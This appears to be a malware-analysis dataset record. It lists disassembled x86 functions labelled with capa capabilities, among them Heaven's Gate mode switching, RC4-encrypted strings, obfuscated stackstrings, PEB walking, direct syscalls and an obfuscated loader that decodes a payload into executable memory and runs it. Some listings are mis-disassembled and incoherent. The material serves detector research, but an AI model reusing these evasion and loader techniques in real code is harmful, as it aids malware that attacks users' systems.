joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402340
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
lea edx, [ebp + 0x10]
sub esp, 0x40
push ebx
push esi
push edi
test ecx, ecx
jle 0x402368
mov eax, dword [ebp + 0x10]
lea edx, [ebp + 0x18]
dec ecx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp + 0xc], ecx
mov dword [ebp - 0xc], eax
jmp 0x402376
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
test ecx, ecx
jle 0x40238f
dec ecx
add edx, 8
mov dword [ebp + 0xc], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x18], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x14], eax
jmp 0x40239d
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
test ecx, ecx
jle 0x4023b6
dec ecx
add edx, 8
mov dword [ebp + 0xc], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x20], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x1c], eax
jmp 0x4023c4
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
test ecx, ecx
jle 0x4023dd
dec ecx
add edx, 8
mov dword [ebp + 0xc], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x28], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x24], eax
jmp 0x4023eb
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov eax, edx
mov dword [ebp - 0x30], 0
cdq
mov dword [ebp - 0x40], eax
mov eax, ecx
mov dword [ebp - 0x3c], edx
cdq
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov word [ebp - 8], fs
mov eax, 0x2b
mov fs, ax
mov dword [ebp - 4], esp
and esp, 0xfffffff0
push 0x33
call 0x402432
add dword [esp], 5
retf
Function at 0x402570
Capabilities:
Encode data using xor
Encrypt data using rc4 prga
Get windows directory from kuser_shared_data

Disassembly:
mov eax, dword [0x7ed608]
sub esp, 0x20c
push ebp
mov ebp, ecx
push esi
push edi
test eax, eax
je 0x40271d
cmp dword [0x7ed60c], 0
jne 0x402709
xor eax, eax
push 0x100
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov word [esp + 0x1c], ax
mov byte [esp + 0x1e], al
lea eax, [esp + 0x20]
push eax
call fcn.00402e40
add esp, 0xc
xor edi, edi
xor eax, eax
nop
mov byte [esp + eax + 0x18], al
inc eax
cmp eax, 0x100
jb 0x4025c0
xor esi, esi
mov edi, edi
mov dl, byte [esp + esi + 0x18]
mov eax, esi
and eax, 3
movzx ecx, dl
movzx eax, byte [eax + 0x41b0d4]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + edi + 0x18], dl
cmp esi, 0x100
jb 0x4025d0
xor esi, esi
xor edi, edi
xor edx, edx
lea eax, [esi + 1]
movzx esi, al
mov cl, byte [esp + esi + 0x18]
movzx eax, cl
add eax, edi
movzx edi, al
movzx eax, byte [esp + edi + 0x18]
mov byte [esp + esi + 0x18], al
mov byte [esp + edi + 0x18], cl
movzx eax, byte [esp + esi + 0x18]
movzx ecx, cl
add ecx, eax
movzx eax, cl
movzx eax, byte [esp + eax + 0x18]
xor al, byte [edx + 0x41b0d8]
mov byte [esp + edx + 0xc], al
inc edx
cmp edx, 0xb
jb 0x402605
push 0x200
lea eax, [esp + 0x1c]
push 0
push eax
call fcn.00402e40
mov edx, 0x7ffe0030
add esp, 0xc
xor ecx, ecx
lea esi, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x402664
sub edx, esi
sar edx, 1
je 0x40271d
mov esi, ebp
lea edi, [esi + 1]
mov edi, edi
mov al, byte [esi]
inc esi
test al, al
jne 0x402680
sub esi, edi
add edx, 0xc
add edx, esi
cmp edx, 0x200
ja 0x40271d
xor eax, eax
push ebx
test edx, edx
je 0x4026b8
movzx ebx, word [eax + eax + 0x7ffe0030]
test bx, bx
je 0x4026b8
mov byte [esp + eax + 0x1c], bl
inc ecx
inc eax
cmp eax, edx
jb 0x4026a1
xor eax, eax
test edx, edx
je 0x4026d2
mov edi, edi
mov bl, byte [esp + eax + 0x10]
test bl, bl
je 0x4026d2
mov byte [esp + ecx + 0x1c], bl
inc eax
inc ecx
cmp eax, edx
jb 0x4026c0
xor eax, eax
test edx, edx
je 0x4026ef
lea ecx, [esp + ecx + 0x1c]
lea esp, [esp]
mov bl, byte [eax + ebp]
test bl, bl
je 0x4026ef
mov byte [ecx], bl
inc eax
inc ecx
cmp eax, edx
jb 0x4026e0
push 8
push 0
lea eax, [esp + 0x24]
push eax
call dword [0x7ed608]
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x20c
ret
push 0x800
push 0
push ebp
call eax
pop edi
pop esi
pop ebp
add esp, 0x20c
ret
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x20c
ret
Function at 0x402ed0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [0x7ee6a0]
sub esp, 0x11c
test eax, eax
jne 0x402fce
push ebx
push esi
push edi
push 0x100
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov word [esp + 0x2c], ax
lea eax, [esp + 0x30]
push eax
call fcn.00402e40
add esp, 0xc
xor edi, edi
xor eax, eax
lea ebx, [ebx]
mov byte [esp + eax + 0x28], al
inc eax
cmp eax, 0x100
jb 0x402f20
xor esi, esi
mov edi, edi
mov dl, byte [esp + esi + 0x28]
mov eax, esi
and eax, 3
movzx ecx, dl
movzx eax, byte [eax + 0x41b100]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x28]
mov byte [esp + esi + 0x28], al
inc esi
mov byte [esp + edi + 0x28], dl
cmp esi, 0x100
jb 0x402f30
xor edi, edi
xor ebx, ebx
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [esp + edi + 0x28]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
movzx eax, byte [esp + ebx + 0x28]
mov byte [esp + edi + 0x28], al
mov byte [esp + ebx + 0x28], cl
movzx eax, byte [esp + edi + 0x28]
add eax, edx
movzx eax, al
movzx eax, byte [esp + eax + 0x28]
xor al, byte [esi + 0x41b104]
mov byte [esp + esi + 0xc], al
inc esi
cmp esi, 0x1a
jb 0x402f65
xor edx, edx
lea ecx, [esp + 0xc]
call fcn.004041c0
pop edi
pop esi
pop ebx
test eax, eax
je 0x402fc9
mov eax, dword [eax + 0x18]
test eax, eax
je 0x402fc9
mov dword [0x7ee6a0], eax
add esp, 0x11c
ret
mov eax, dword [0x7ee6a0]
add esp, 0x11c
ret
Function at 0x4036f0
Capabilities:
Check os version

Disassembly:
mov ecx, 1
mov edx, 0x7ed748
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
jne 0x403819
cmp dword fs:[0xc0], eax
je 0x40371b
mov dword [0x7ed744], 1
mov eax, dword fs:[0x18]
push ebx
push esi
mov ebx, 1
mov esi, dword [eax + 0x30]
mov eax, dword [esi + 0xa4]
mov dword [0x7ed62c], eax
mov eax, dword [esi + 0xa8]
mov dword [0x7ed630], eax
movzx edx, word [esi + 0xac]
mov dword [0x7ed634], edx
mov eax, dword [esi + 0xb0]
mov dword [0x7ed638], eax
mov eax, dword [esi + 0x1f4]
test eax, eax
je 0x40377b
push 0x7f
push eax
push 0x7ed63c
call fcn.00401000
mov edx, dword [0x7ed634]
add esp, 0xc
jmp 0x403783
xor eax, eax
mov word [0x7ed63c], ax
movzx eax, byte [esi + 0xaf]
mov ecx, 0xff
mov word [0x7ed73c], ax
movzx eax, word [esi + 0xae]
and ax, cx
mov word [0x7ed73e], ax
movzx eax, word [0x7ffe02d0]
mov word [0x7ed740], ax
mov ecx, eax
mov byte [0x7ed742], 0
cmp byte [0x7ffe0268], 0
je 0x4037ca
mov ebx, dword [0x7ffe0264]
pop esi
mov byte [0x7ed742], bl
cmp ebx, 1
pop ebx
jne 0x4037e4
and ecx, 0xffef
mov word [0x7ed740], cx
test edx, edx
jne 0x403819
call fcn.004036f0
cmp dword [0x7ed62c], 6
ja 0x403819
jb 0x403801
cmp dword [0x7ed630], 4
jae 0x403819
call fcn.004036f0
cmp dword [0x7ed62c], 0xa
jae 0x403819
mov dword [0x7ed634], 1
ret
Function at 0x403820
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
sub esp, 0xc08
push ebx
push ebp
mov dword [esp + 0xc], edx
xor edx, edx
mov dword [esp + 8], edx
push esi
push edi
test ecx, ecx
je 0x40386b
xor esi, esi
lea edi, [esp + 0x818]
mov al, byte [esi + ecx]
test al, al
je 0x40385b
cbw
inc esi
mov word [edi], ax
add edi, 2
cmp esi, 0x1ff
jb 0x403841
jmp 0x403860
xor eax, eax
mov word [edi], ax
lea edx, [esp + 0x818]
mov dword [esp + 0x10], edx
xor edi, edi
xor ebp, ebp
test edx, edx
je 0x4038bb
mov edi, edx
lea ecx, [edi + 2]
jmp 0x403880
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x403880
sub edi, ecx
sar edi, 1
cmp edi, 0x200
jb 0x40389c
mov edi, 0x1ff
push edi
push edx
lea eax, [esp + 0x420]
push eax
lea ebp, [edi + edi]
call fcn.00401000
add esp, 0xc
xor eax, eax
mov word [esp + ebp + 0x418], ax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0xc
jne 0x4038dd
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0x14
je 0x403950
mov esi, dword [ebx]
cmp esi, ebx
je 0x403950
test esi, esi
je 0x403950
cmp word [esi + 0x24], 2
jbe 0x40394a
movzx eax, word [esi + 0x2c]
cmp eax, 2
jbe 0x40394a
cmp dword [esi + 0x18], 0
je 0x40394a
test ebp, ebp
je 0x403905
cmp ebp, eax
jne 0x40394a
push edi
push dword [esi + 0x30]
lea eax, [esp + 0x20]
push eax
call fcn.00401000
xor eax, eax
add esp, 0xc
mov word [esp + edi*2 + 0x18], ax
mov eax, dword [esp + 0x14]
test eax, eax
je 0x40392a
cmp eax, dword [esi + 0x18]
jne 0x40394a
cmp dword [esp + 0x10], 0
je 0x40395d
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x41c]
push eax
call fcn.00402e70
add esp, 8
test eax, eax
je 0x40395d
mov esi, dword [esi]
cmp esi, ebx
jne 0x4038e3
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc08
ret
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0xc08
ret
Function at 0x4041c0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
sub esp, 0x808
push ebx
push ebp
push esi
push edi
xor edi, edi
mov dword [esp + 0x10], edx
xor ebp, ebp
mov dword [esp + 0x14], ecx
test ecx, ecx
je 0x40421b
mov edi, ecx
lea edx, [edi + 2]
nop
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x4041e0
sub edi, edx
sar edi, 1
cmp edi, 0x200
jb 0x4041fc
mov edi, 0x1ff
push edi
push ecx
lea eax, [esp + 0x420]
push eax
lea ebp, [edi + edi]
call fcn.00401000
add esp, 0xc
xor eax, eax
mov word [esp + ebp + 0x418], ax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0xc
jne 0x40423d
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0x14
je 0x4042af
mov esi, dword [ebx]
cmp esi, ebx
je 0x4042af
test esi, esi
je 0x4042af
cmp word [esi + 0x24], 2
jbe 0x4042a9
movzx eax, word [esi + 0x2c]
cmp eax, 2
jbe 0x4042a9
cmp dword [esi + 0x18], 0
je 0x4042a9
test ebp, ebp
je 0x404265
cmp ebp, eax
jne 0x4042a9
push edi
push dword [esi + 0x30]
lea eax, [esp + 0x20]
push eax
call fcn.00401000
mov edx, dword [esp + 0x1c]
xor eax, eax
add esp, 0xc
mov word [esp + edi*2 + 0x18], ax
test edx, edx
je 0x40428a
cmp edx, dword [esi + 0x18]
jne 0x4042a9
cmp dword [esp + 0x14], eax
je 0x4042bc
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x41c]
push eax
call fcn.00402e70
add esp, 8
test eax, eax
je 0x4042bc
mov esi, dword [esi]
cmp esi, ebx
jne 0x404243
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x808
ret
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x808
ret

Function at 0x41ad92
Capabilities:
Execute syscall

Disassembly:
mov edx, esp
sysenter
ret
Function at 0x407b76
Capabilities:
Delete file

Disassembly:
push 0xbc
mov eax, 0x421619
call fcn.00412428
cmp dword [edi + 0x14], 0x10
jb 0x407b8f
mov eax, dword [edi]
jmp 0x407b91
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
setne al
test al, al
je 0x407c50
cmp dword [0x42eb64], 0
jg 0x407c4c
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x30], esp
push edi
call fcn.004021df
and dword [ebp - 4], 0
lea eax, [ebp - 0xc8]
push eax
call fcn.00402538
lea eax, [ebp - 0xc8]
push 0x426ce4
push eax
mov byte [ebp - 4], 1
call fcn.004038ea
pop ecx
pop ecx
lea esi, [ebp - 0xc8]
mov byte [ebp - 4], 2
call fcn.00403822
mov esi, eax
push 0x426b60
push esi
call fcn.004038ea
pop ecx
pop ecx
lea eax, [ebp - 0x2c]
push eax
mov ecx, esi
call fcn.004015a4
push 0x426cf0
push 0x25b
push 0x426ae0
push 0
mov edx, eax
mov ecx, 0x42eb64
mov byte [ebp - 4], 3
call fcn.0040ae5e
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.00402dcc
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0xc8]
call fcn.004015bb
mov al, 1
jmp 0x407c5f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00407b61
add esp, 4
call fcn.004124ab
ret

Function at 0x407f3d
Capabilities:
Delete directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xbc
mov eax, dword [0x42c648]
xor eax, esp
mov dword [esp + 0xb8], eax
cmp dword [edi + 0x14], 0x10
push esi
jb 0x407f62
mov eax, dword [edi]
jmp 0x407f64
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
setne al
test al, al
je 0x408020
cmp dword [0x42eb64], 0
jg 0x40800a
lea eax, [esp + 8]
push eax
call fcn.00402538
lea eax, [esp + 8]
push 0x426ce4
push eax
call fcn.004038ea
sub esp, 0x14
mov esi, esp
mov dword [esp + 0x20], esp
push edi
call fcn.004021df
lea esi, [esp + 0x24]
call fcn.00403822
mov esi, eax
push 0x426c04
push esi
call fcn.004038ea
pop ecx
pop ecx
lea eax, [esp + 0xa0]
push eax
mov ecx, esi
call fcn.004015a4
push 0x426d90
push 0x28e
push 0x426ae0
push 0
mov edx, eax
mov ecx, 0x42eb64
call fcn.0040ae5e
push 0
push 1
lea ecx, [esp + 0xa8]
call fcn.00402dcc
lea eax, [esp + 8]
call fcn.004015bb
xor eax, eax
inc eax
mov ecx, dword [esp + 0xbc]
pop esi
xor ecx, esp
call fcn.0040d37e
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00407b61
add esp, 4
test al, al
jne 0x40800a
xor eax, eax
jmp 0x40800d
Function at 0x40b3e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x120
mov eax, 0x421bee
call fcn.00412428
mov eax, dword [ebp + 8]
mov esi, ecx
mov dword [ebp - 0x78], eax
mov eax, esi
call fcn.0040b3c2
mov edi, eax
test edi, edi
jne 0x40b497
push 0x4270a8
lea ecx, [ebp - 0x30]
call fcn.00402200
and dword [ebp - 4], edi
lea eax, [ebp - 0x74]
push eax
lea edx, [ebp - 0x30]
mov ecx, esi
call fcn.0040b30d
mov edi, eax
lea esi, [ebp - 0x12c]
mov byte [ebp - 4], 1
call fcn.00403cf1
push 0x426370
mov byte [ebp - 4], 2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [sym.imp.KERNEL32.dll_FindResourceA]
mov ecx, esi
lea edi, [ebp - 0x90]
call fcn.004068e6
mov byte [ebp - 4], 3
mov dword [ebp - 0x84], 0x427040
mov dword [ebp - 0x80], 0x42702c
mov dword [ebp - 0x7c], 0x41
lea ecx, [ebp - 0x58]
push ecx
lea esi, [ebp - 0x84]
mov ecx, eax
call fcn.00403852
lea eax, [ebp - 0x58]
mov dword [esp], 0x428cb4
push eax
call fcn.00411f8f
mov ebx, dword [sym.imp.KERNEL32.dll_LoadResource]
push edi
push dword [esi + 0x40]
call ebx
test eax, eax
jne 0x40b519
push 0x4270c0
lea ecx, [ebp - 0x30]
call fcn.00402200
lea eax, [ebp - 0x74]
push eax
lea edx, [ebp - 0x30]
mov ecx, esi
mov dword [ebp - 4], 4
call fcn.0040b30d
mov edi, eax
lea esi, [ebp - 0x12c]
mov byte [ebp - 4], 5
call fcn.00403cf1
push 0x426370
mov byte [ebp - 4], 6
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
mov ecx, esi
lea edi, [ebp - 0x90]
call fcn.004068e6
mov byte [ebp - 4], 7
mov dword [ebp - 0x84], 0x427040
mov dword [ebp - 0x80], 0x42702c
mov dword [ebp - 0x7c], 0x46
jmp 0x40b476
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp dword [esi + 0x3c], 6
mov ebx, eax
jne 0x40b549
mov esi, dword [esi + 0x1c]
and esi, 0xf
jbe 0x40b53a
dec esi
movzx ecx, word [eax]
lea eax, [eax + ecx*2 + 2]
jne 0x40b530
movzx ecx, word [eax]
mov edx, dword [ebp - 0x78]
add ecx, ecx
mov dword [edx], ecx
lea ebx, [eax + 2]
jmp 0x40b558
push edi
push dword [esi + 0x40]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 0x78]
mov dword [ecx], eax
mov eax, ebx
call fcn.004124ab
ret 4

Function at 0x40d37e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42c648]
jne 0x40d388
repz ret
jmp fcn.00414bc8
Function at 0x41055e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x4d], 0xc2
mov byte [ebp - 0x4c], 0xca
mov byte [ebp - 0x4b], 0xee
mov byte [ebp - 0x4a], 0xc9
mov byte [ebp - 0x49], 0xc1
mov byte [ebp - 0x48], 0xc8
mov byte [ebp - 0x47], 0xa7
call fcn.004102db
or al, 0xbf
fcmovu st(0), st(0)
lea eax, [ebp - 0x58]
push eax
call fcn.004102eb
mov esi, dword [ebp + 0xc]
push eax
push esi
push dword [ebp + 8]
call fcn.004102a0
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x4105c9
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.004102db
push edi
cld
inc eax
pop ebp
lea eax, [ebp - 0x40]
push eax
call fcn.004102eb
push eax
push esi
push dword [ebp + 8]
invalid
jo 0x41062a
Function at 0x4106a2
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov esi, 0xc6975d88
inc ebp
cwde
pop ss
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.004102eb
push eax
push esi
push dword [ebp + 8]
call fcn.004102a0
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.004102eb
push eax
push esi
push dword [ebp + 8]
call fcn.004102a0
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.004102db
push ebp
dec ecx
int 0x1b
mov byte [ebp - 0x84], bl
mov byte [ebp - 0x83], bl
mov byte [ebp - 0x82], 0xe9
mov byte [ebp - 0x81], bl
mov byte [ebp - 0x80], 0x51
mov byte [ebp - 0x7f], 0x73
mov byte [ebp - 0x7e], 0x62
mov byte [ebp - 0x7d], 0x5b
mov byte [ebp - 0x7c], 0x79
mov byte [ebp - 0x7b], 0x72
mov byte [ebp - 0x7a], 0x63
mov byte [ebp - 0x79], 0x7a
mov byte [ebp - 0x78], 0x73
mov byte [ebp - 0x77], 0x5e
mov byte [ebp - 0x76], 0x77
mov byte [ebp - 0x75], 0x78
mov byte [ebp - 0x74], 0x72
mov byte [ebp - 0x73], 0x7a
mov byte [ebp - 0x72], 0x73
mov byte [ebp - 0x71], 0x57
mov byte [ebp - 0x70], 0x16
call fcn.004102db
ljmp 0x7c85

Function at 0x412497
Capabilities:
Resolve function by parsing pe exports

Disassembly:
cmp byte [eax + 0x1c], 0x18
je 0x41249f
xchg esi, eax
lodsd eax, dword [esi]
mov eax, dword [eax + 8]
push eax
call fcn.004102db
push cs
jnp 0x4124f2
dec ebx
mov ebx, dword [edx + 0x1c]
add ebx, edi
mov eax, dword [ebx + ecx*4]
add eax, edi
push eax
call fcn.004102db
push ss
push edx
pop edx
push dword fs:[ebp + 8]
push dword [ebp + 4]
push dword [ebp]
call fcn.00410adb
jne 0x412532
push 1
push edi
call fcn.00414689
pop ecx
pop ecx
mov dword [esi + 0x24], eax
cmp eax, ebx
jne 0x412532
mov eax, 0x423560
pop edi
pop esi
pop ebx
pop ebp
ret
push dword [ebp + 8]
mov esi, dword [esi + 0x24]
call fcn.004124c9
push eax
push edi
push esi
call fcn.00414de1
add esp, 0x10
test eax, eax
jne 0x412550
mov eax, esi
jmp 0x41252d
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00415589
int3
Function at 0x68681dd0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x68681e2b
cmp byte [esi + ebx - 1], 0xa
je 0x68681dff
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x68683118], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
Function at 0x7003e2a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x7003e39
pop dword [ebp - 0x34]
mov eax, 0xb3de63ce
add eax, 0x5321da6b
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xf8dc95a7
sub dword [ebp - 0x44], 0xaa8a505c
mov dword [ebp - 0x40], 0xa4ea77f1
add dword [ebp - 0x40], 0x8d48d454
mov dword [ebp - 0x3c], 0xe045c88f
sub dword [ebp - 0x3c], 0x93f98461
mov dword [ebp - 0x38], 0x2eca870f
add dword [ebp - 0x38], 0xd13578f1
lea eax, [ebp - 0x44]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x4c21c824
sub dword [ebp - 0x44], 0xd7af5ece
mov dword [ebp - 0x40], 0xdb8d8453
add dword [ebp - 0x40], 0x65dedd22
mov dword [ebp - 0x3c], 0xfed85824
sub dword [ebp - 0x3c], 0x9b68ebb8
mov dword [ebp - 0x38], 0xb4c3ce54
add dword [ebp - 0x38], 0x4b3c31ac
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x3c0f9
push 0
call eax
mov ecx, 0x3ecde0c
sub ecx, 0x3ec9047
mov esi, eax
mov edi, 0xefe2bc69
add edi, 0x171f4597
add edi, dword [ebp - 0x34]
mov ebx, 0x1a876687
add ebx, 0xf9994c2e
xor dword [ebp - 0x30], 0x5902a580
mov edx, dword [edi]
add dword [ebp - 0x14], ecx
sub edx, ebx
add dword [ebp - 0xc], ecx
mov dword [esi], edx
add esi, 0x187cf372
sub esi, 0x187cf36e
add edi, 0xcf8612a4
sub edi, 0xcf8612a0
loop 0x7003f51
add eax, 0x3dc02de5
sub eax, 0x3dbf03fe
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x76f9bcf7
add ecx, 0x90064309
add ecx, dword [ebp - 0x34]
call ebx
leave
ret

Function at 0x700d29f
Capabilities:
Set current directory

Disassembly:
push 8
mov eax, 0x70120f1
call fcn.07001cf8
mov edi, ecx
mov dword [ebp - 0x14], edi
mov esi, dword [ebp + 8]
push esi
call fcn.0700d491
xor ebx, ebx
mov dword [edi], vtable.FileSharedStream.0
mov dword [edi + 0xc], ebx
mov byte [edi + 0x10], bl
mov eax, dword [esi + 0x14]
mov dword [edi + 0x14], eax
lea eax, [edi + 0x18]
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.kernel32.dll_InitializeCriticalSection]
mov ecx, esi
mov byte [ebp - 4], 1
call fcn.0700dd8a
lea ecx, [ebp - 0x10]
call fcn.0700d23c
mov eax, dword [edi + 0x14]
mov byte [ebp - 4], 2
push dword [eax + 0x14]
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
mov eax, dword [edi + 0x14]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x700d30c
mov eax, dword [eax + 0x14]
jmp 0x700d311
mov eax, 0x70138c2
push 0x7015240
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov dword [edi + 0xc], eax
pop ecx
pop ecx
test eax, eax
je 0x700d343
mov ecx, dword [edi + 4]
call fcn.070076d1
lea ecx, [ebp - 0x10]
mov dword [edi + 8], eax
call fcn.07003e2a
mov eax, edi
call fcn.07001ea7
ret 4
push str.file_does_not_exist
push ebx
call fcn.07003e2a
int3